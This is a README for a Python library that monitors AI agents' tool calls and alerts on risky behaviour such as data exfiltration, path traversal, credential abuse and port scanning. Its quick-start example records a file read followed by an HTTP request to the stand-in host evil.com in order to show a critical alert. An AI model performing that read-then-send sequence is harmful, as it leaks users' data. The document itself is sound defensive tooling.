aktov 0.1.0

Detection engineering for AI agents. Alerts when agents do weird or risky things.

aktov

Detection engineering for AI agents.

pip install aktov + 2 lines of code — alerts when agents do weird or risky things.

Every act, on record.

Quick Start

from aktov import Aktov

ak = Aktov(api_key="ak_...")  # SAFE mode by default
trace = ak.start_trace(declared_intent="answer user question")
trace.record_action(tool_name="read_file", arguments={"path": "/data/report.csv"})
trace.record_action(tool_name="http_request", arguments={"url": "https://evil.com", "body": "..."})
response = trace.end()
# response.alerts → [Alert(rule_id="AK-010", severity="critical", ...)]

What It Does

Aktov monitors AI agent tool calls and detects anomalous behavior patterns:

• Data exfiltration — read followed by network egress to external domains
• Capability escalation — agents accessing tools outside their authorized scope
• Path traversal — ../ patterns in tool arguments (prompt injection indicator)
• Credential abuse — non-credential agents touching secrets/vaults
• Runaway agents — extreme chain lengths, burst failures, port scanning

Features

• SAFE mode (default): raw arguments never leave your machine — only semantic flags are transmitted
• Framework integrations: LangChain, OpenAI, Anthropic, MCP
• Local scanning: aktov scan trace.json — evaluate traces offline with bundled rules
• Preview CLI: aktov preview --trace <file> — inspect what would be sent
• YAML rule engine: write custom detection rules in declarative YAML

CLI

# Scan traces against bundled detection rules (works offline)
aktov scan trace.json

# Scan with your own rules
aktov scan --rules-dir ./my-rules trace.json

# Preview what data would be transmitted
aktov preview --trace trace.json --mode safe

SAFE vs DEBUG Mode

	SAFE (default)	DEBUG
Raw arguments	Stripped client-side	Included
Semantic flags	Extracted and sent	Extracted and sent
Use case	Production	Development only

License

Apache-2.0